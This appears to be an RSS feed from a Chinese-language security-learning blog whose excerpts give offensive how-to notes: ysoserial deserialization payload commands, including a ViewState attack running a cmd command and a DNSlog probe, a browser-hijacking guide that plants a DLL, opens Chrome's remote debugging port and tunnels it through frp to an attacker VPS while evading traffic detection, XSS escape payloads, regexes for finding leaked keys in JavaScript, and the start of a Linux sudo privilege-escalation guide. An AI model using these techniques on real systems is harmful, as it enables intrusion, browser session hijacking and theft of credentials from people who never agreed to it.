<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Posts on Cybersecurity learning</title><link>https://h4xk0r.github.io/posts/</link><description>Recent content in Posts on Cybersecurity learning</description><generator>Hugo -- 0.155.1</generator><language>zh-cn</language><lastBuildDate>Fri, 10 Apr 2026 23:50:39 +0800</lastBuildDate><atom:link href="https://h4xk0r.github.io/posts/index.xml" rel="self" type="application/rss+xml"/><item><title>Yso</title><link>https://h4xk0r.github.io/posts/yso/</link><pubDate>Fri, 10 Apr 2026 23:50:39 +0800</pubDate><guid>https://h4xk0r.github.io/posts/yso/</guid><description>&lt;h2 id="java_yso"&gt;JAVA_YSO&lt;/h2&gt;
&lt;h5 id="基础命令格式"&gt;基础命令格式&lt;/h5&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;java -jar ysoserial.jar &lt;span style="color:#f92672"&gt;[&lt;/span&gt;利用链&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;执行的命令&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;利用链: CommonsCollections1, URLDNS, Jackson 等
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h5 id="探测检测"&gt;探测/检测&lt;/h5&gt;
&lt;p&gt;如果不确定对方是否存在反序列化漏洞,或者不清楚使用了哪些依赖库可以使用&lt;code&gt;URLDNS&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;java -jar ysoserial.jar URLDNS &lt;span style="color:#e6db74"&gt;&amp;#34;http://your-dnslog-url.com&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;注: 如果执行复杂命令最好封装成脚本执行,或者使用&lt;code&gt;sh -c&lt;/code&gt;/&lt;code&gt;bash -c&lt;/code&gt;&lt;/p&gt;
&lt;h2 id="net_yso"&gt;.net_yso&lt;/h2&gt;
&lt;p&gt;基础命令&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ysoserial.exe -g &lt;span style="color:#f92672"&gt;[&lt;/span&gt;Gadget&lt;span style="color:#f92672"&gt;]&lt;/span&gt; -f &lt;span style="color:#f92672"&gt;[&lt;/span&gt;Formatter&lt;span style="color:#f92672"&gt;]&lt;/span&gt; -c &lt;span style="color:#e6db74"&gt;&amp;#34;[Command]&amp;#34;&lt;/span&gt; -o 编码
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-g 利用链的名称,如TextFormattingRunProperties
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-f 序列化类型,如 BinaryFormatter, Json.Net, ObjectStateFormatter
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-c 执行的命令
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-o 编码处理,如 raw ,bash64, urlencode
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;利用 (web Machinekey泄露)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ysoserial.exe -p ViewState -g TextFormattingRunProperties -c &lt;span style="color:#e6db74"&gt;&amp;#34;cmd /c echo pwned &amp;gt; C:\windows\temp\test.txt&amp;#34;&lt;/span&gt; --validationkey&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;你的KEY&amp;#34;&lt;/span&gt; --validationalg&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;SHA1&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;技巧&lt;/p&gt;
&lt;p&gt;&lt;code&gt;- p&lt;/code&gt; 参数可以指定插件,对一些特定目标进行测试&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;-p ViewState：处理 ASP.NET ViewState。
-p ActivitySurrogateSelector：，可以绕过较新的 .NET 补丁，实现无文件落地执行任意 C# 代码。
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;利用链:&lt;/p&gt;</description></item><item><title>浏览器劫持</title><link>https://h4xk0r.github.io/posts/%E6%B5%8F%E8%A7%88%E5%99%A8%E5%8A%AB%E6%8C%81/</link><pubDate>Mon, 30 Mar 2026 21:28:24 +0800</pubDate><guid>https://h4xk0r.github.io/posts/%E6%B5%8F%E8%A7%88%E5%99%A8%E5%8A%AB%E6%8C%81/</guid><description>&lt;h2 id="实现方式"&gt;实现方式:&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;h3 id="开启远程调试端口"&gt;开启远程调试端口&lt;/h3&gt;
&lt;p&gt;首先将dll插入浏览器目录后,使用命令将对方的远程调试端口开起来&lt;code&gt;chrome.exe --remote-debugging-port=9222 --remote-allow-origins=* --headless &lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;--remote-debugging-port 指定端口
--remote-allow-origins 避免403
--headless 避免弹窗
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;注: 如果对方已经开启浏览器需要将浏览器关闭后才能运行插入的dll,关闭浏览器命令&lt;code&gt;taskkill /F /IM chrome.exe /T&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;开启端后查看端口是否在运行监听&lt;code&gt;netstat -ano | findstr :9222&lt;/code&gt;&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;
&lt;h3 id="打隧道"&gt;打隧道&lt;/h3&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;通过frp打通隧道frpc配置&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[common]
# 你的 VPS 公网 IP
server_addr = x.x.x.x
server_port = 7000
token = my_secure_token_123
[chrome_debug]
type = tcp
local_ip = 127.0.0.1
# 对应 Chrome 启动时的 --remote-debugging-port
local_port = 9222
# 映射到 VPS 上的端口（确保 VPS 防火墙已开放此端口）
remote_port = 19222
# 【实战建议】开启加密和压缩，躲避流量检测
use_encryption = true
use_compression = true
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;frps&lt;/p&gt;</description></item><item><title>XSS</title><link>https://h4xk0r.github.io/posts/xss/</link><pubDate>Thu, 19 Mar 2026 00:33:54 +0800</pubDate><guid>https://h4xk0r.github.io/posts/xss/</guid><description>&lt;h2 id="逃逸手法分类选择"&gt;逃逸手法分类/选择:&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;**HTML标签内部:**如在&lt;code&gt;&amp;lt;div&amp;gt; xxx &amp;lt;/div&amp;gt;&lt;/code&gt;中&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;逃逸:&lt;/strong&gt; 直接闭合标签&lt;code&gt;&amp;lt;/div&amp;gt; &amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;HTML属性内部:&lt;/strong&gt;&lt;code&gt;&amp;lt;input type=&amp;quot;text&amp;quot; value=&amp;quot;xxxx&amp;quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;逃逸:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;一. 闭合属性,添加事件或者闭合标签 &lt;code&gt;&amp;quot; onmouseover=&amp;quot;alert(1)&lt;/code&gt;或者&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;quot;&amp;gt; &amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Javascript变量内:&lt;/strong&gt; &lt;code&gt;&amp;lt;script&amp;gt; var name = 'xxxx'; &amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;逃逸:&lt;/strong&gt; 闭合单引号或者标签,闭合或者注释掉后面的代码, &lt;code&gt;'; alert(1); // &lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;DOM渲染:&lt;/strong&gt; 数据不回传服务器，直接被前端 JS（如 &lt;code&gt;.innerHTML&lt;/code&gt;、&lt;code&gt;eval()&lt;/code&gt;）接收并渲染。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="挖掘思路"&gt;挖掘思路&lt;/h2&gt;
&lt;p&gt;输入框测试: 先看源代码,输入的数据在什么里面,再测试能不能截断或者添加事件等方法,输入绕过的字符如: &lt;code&gt;' &amp;quot; &amp;lt; &amp;gt; / ; \&lt;/code&gt;等,观察源代码哪一个被过滤了&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;变成&lt;code&gt;&amp;amp;lt;&lt;/code&gt; 说明做了实体编码&lt;/li&gt;
&lt;li&gt;没有变化,说明有xss的可能&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;其他测试点:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;json报错页面:&lt;/strong&gt; 很多 API 报错时会原样回显你输入的非法 JSON 字段&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;配合文件上传&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.freebuf.com/vuls/418170.html"&gt;https://www.freebuf.com/vuls/418170.html&lt;/a&gt; 可以看这篇文章&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;HTTP头(盲XSS)&lt;/strong&gt; 在 &lt;code&gt;Referer&lt;/code&gt;、&lt;code&gt;User-Agent&lt;/code&gt;、&lt;code&gt;X-Forwarded-For&lt;/code&gt; 中注入盲打 Payload，盲打后台&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="绕过"&gt;绕过:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;使用不太常见的标签或者事件:&lt;/p&gt;
&lt;p&gt;这里推荐一个网站 &lt;a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet"&gt;https://portswigger.net/web-security/cross-site-scripting/cheat-sheet&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;编码绕过:&lt;/p&gt;
&lt;p&gt;浏览器解析 HTML 时有特定的解码顺序（HTML 解码 -&amp;gt; URL 解码 -&amp;gt; JS 解码）&lt;/p&gt;</description></item><item><title>JS</title><link>https://h4xk0r.github.io/posts/js%E5%AE%A1%E8%AE%A1%E6%8A%80%E5%B7%A7/</link><pubDate>Sat, 28 Feb 2026 22:41:23 +0800</pubDate><guid>https://h4xk0r.github.io/posts/js%E5%AE%A1%E8%AE%A1%E6%8A%80%E5%B7%A7/</guid><description>&lt;p&gt;本人代码能力不是很好，对很多网站框架和文件理解不是很深，所以看js文件的时候难免有些困难，所以有了这篇文章&lt;/p&gt;
&lt;h3 id="js审计技巧"&gt;JS审计技巧&lt;/h3&gt;
&lt;p&gt;遇到source.map(.map)可以直接还原源码&lt;/p&gt;
&lt;p&gt;首先是一些用来搜索的正则：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;api/| /v[0-9]|/admin|/internal|/private&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;key:|secret:|token:|password:|apikey|sk_ |pk_ |AKIA&lt;/code&gt;（AWS）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fetch|axios|XMLHttpRequest|$.post|$.ajax&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;localStorage|sessionStorage|cookie&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;if\s*\(\s*user\.role|isAdmin|level|permission&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;innerHTML|eval|document\.write&lt;/code&gt;（XSS sink）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="看完上面这些还要看什么"&gt;看完上面这些，还要看什么？&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;密钥&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如: &lt;code&gt;const KEY = &amp;quot;xxx&amp;quot;&lt;/code&gt;、&lt;code&gt;process.env.VITE_xxx&lt;/code&gt;（Vite 常见泄露）、&lt;code&gt;client_secret&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如config.chunk.js 里：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;stripeConfig&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;publishableKey&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;pk_live_51Hb...xxxx&amp;#34;&lt;/span&gt;, &lt;span style="color:#75715e"&gt;// Stripe 真实密钥
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;clientSecret&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;sk_test_51Hb...xxxx&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fallbackSecret&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;supersecret2025!@#&amp;#34;&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// 备用密钥
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="2"&gt;
&lt;li&gt;&lt;strong&gt;API&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;可以用上面的正则去搜&lt;/p&gt;
&lt;ol start="3"&gt;
&lt;li&gt;&lt;strong&gt;逻辑/授权检查&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如: &lt;code&gt;if (user.isAdmin)&lt;/code&gt;、&lt;code&gt;if (role === 'vip')&lt;/code&gt;、&lt;code&gt;if (canEdit)&lt;/code&gt;。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;user&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;vipLevel&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;showDownloadButton&lt;/span&gt;(); &lt;span style="color:#75715e"&gt;// 前端判断
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;} &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;hideIt&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="4"&gt;
&lt;li&gt;&lt;strong&gt;加密/签名&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如&lt;code&gt;CryptoJS&lt;/code&gt;、&lt;code&gt;encrypt&lt;/code&gt;、&lt;code&gt;sign&lt;/code&gt;、&lt;code&gt;md5&lt;/code&gt;、&lt;code&gt;rsa&lt;/code&gt; 函数。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;password&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;CryptoJS&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;AES&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;encrypt&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;pwd&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;hardcoded_key_123&amp;#39;&lt;/span&gt;).&lt;span style="color:#a6e22e"&gt;toString&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;逆向出密钥，就能批量撞库或伪造登录&lt;/p&gt;
&lt;h4 id="不用看的js"&gt;不用看的JS&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;第三方库完整代码jquery-3.6.0.min.js、lodash.min.js、react.production.min.js 全文件。 → 只看最上面注释的版本号（查 CVE），其余不看。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;一些框架的打包，如React/Vue/Next.js 的&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;_createElementVNode&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;useState&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;render&lt;/span&gt;() { ... }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;还有一些轮番图片等&lt;/p&gt;</description></item><item><title>Java基础</title><link>https://h4xk0r.github.io/posts/java%E5%9F%BA%E7%A1%80/</link><pubDate>Mon, 16 Feb 2026 00:00:00 +0000</pubDate><guid>https://h4xk0r.github.io/posts/java%E5%9F%BA%E7%A1%80/</guid><description>&lt;h3 id="java-反射"&gt;JAVA 反射&lt;/h3&gt;
&lt;h5 id="什么是java的反射"&gt;什么是java的反射&lt;/h5&gt;
&lt;p&gt;java反射就是在程序运行状态中，能够知道任何一个类的所有属性和方法，并且能够调用这些属性和方法的功能&lt;/p&gt;
&lt;h5 id="正向-vs-反向"&gt;正向 VS 反向&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;正向流程：&lt;/strong&gt; 导入类 &amp;ndash;&amp;gt; &lt;code&gt;new&lt;/code&gt;对象 &amp;ndash;&amp;gt; 调用对象&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;User user = new User(); user.login();
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;如果类不存在就报错&lt;/p&gt;
&lt;p&gt;**反向流程：**拿到字符串类名 &amp;ndash;&amp;gt; 让JVM去找这个类 &amp;ndash;&amp;gt; 强行拆解这个类 &amp;ndash;&amp;gt; 调用里面的东西&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Class.forName(&amp;#34;com.User&amp;#34;).getMethod(&amp;#34;login&amp;#34;).invoke(obj);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;动态加载类，即使编译时类还没有也能运行&lt;/p&gt;
&lt;h3 id="类加载机制"&gt;类加载机制&lt;/h3&gt;
&lt;h5 id="什么是类加载"&gt;什么是类加载&lt;/h5&gt;
&lt;p&gt;java代码进行编译后就是&lt;code&gt;.class&lt;/code&gt;文件（字节码），类加载就是把这些二进制数据读进内存，解析并生成一个&lt;code&gt;java.lang.Class&lt;/code&gt;对象的过程&lt;/p&gt;
&lt;h5 id="类加载的三个阶段"&gt;类加载的三个阶段&lt;/h5&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Loading（加载） 读取字节流，不执行代码
Linking（链接） 分为验证，准备，解析。 一般不执行代码
lnitialization(初始化) 执行静态代码块，静态变量的赋值动作
&lt;/code&gt;&lt;/pre&gt;&lt;h6 id="两种攻击方式"&gt;两种攻击方式：&lt;/h6&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;例子&lt;span style="color:#960050;background-color:#1e0010"&gt;：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Evil&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 1. 静态变量赋值&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; a &lt;span style="color:#f92672"&gt;=&lt;/span&gt; runCommand();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 2. 静态代码块&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; System.&lt;span style="color:#a6e22e"&gt;out&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;println&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;静态代码块被执行了&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;runCommand&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; System.&lt;span style="color:#a6e22e"&gt;out&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;println&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;静态变量赋值触发了恶意方法！&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; 1;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;会会先执行赋值，然后是静态代码块。因为初始化执行的顺序是 “静态变量赋值” 和 “静态代码块”&lt;/p&gt;</description></item><item><title>Linux提权</title><link>https://h4xk0r.github.io/posts/linux%E6%8F%90%E6%9D%83/</link><pubDate>Sun, 15 Feb 2026 00:00:00 +0000</pubDate><guid>https://h4xk0r.github.io/posts/linux%E6%8F%90%E6%9D%83/</guid><description>&lt;h1 id="常规提权方式"&gt;常规提权方式&lt;/h1&gt;
&lt;h2 id="一sudo滥用提权"&gt;一、sudo滥用提权&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt;提示要输入密码的原因:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;默认SUDO行为 : 需要输入当前用户的密码(不是root)密码&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;sudoers配置问题: 未配置免密码访问 在&lt;code&gt;/etc/sudoers&lt;/code&gt;文件中没有为当前用户配置&lt;code&gt;NOPASSWD&lt;/code&gt;选项&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;配置覆盖问题: 用户组覆盖了用户配置,可能被添加到了wheel用户组&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;检查当前用户所在组&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;id username
&lt;/code&gt;&lt;/pre&gt;&lt;ol start="2"&gt;
&lt;li&gt;
&lt;p&gt;如果发现在wheel组中,检查wheel组的配置&lt;/p&gt;
&lt;p&gt;查看&lt;code&gt;%wheel&lt;/code&gt;相关配置,看是否设置了&lt;code&gt;NOPASSWD&lt;/code&gt;或要求密码&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo visudo
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;从wheel组中移除用户&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo gpasswd -d username wheel
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="利用步骤"&gt;利用步骤：&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;查看当前用户sudo权限&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo -l
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;示例输出：&lt;code&gt;(ALL) NOPASSWD: /usr/bin/vim&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;利用vim提权&lt;/strong&gt;：&lt;/p&gt;
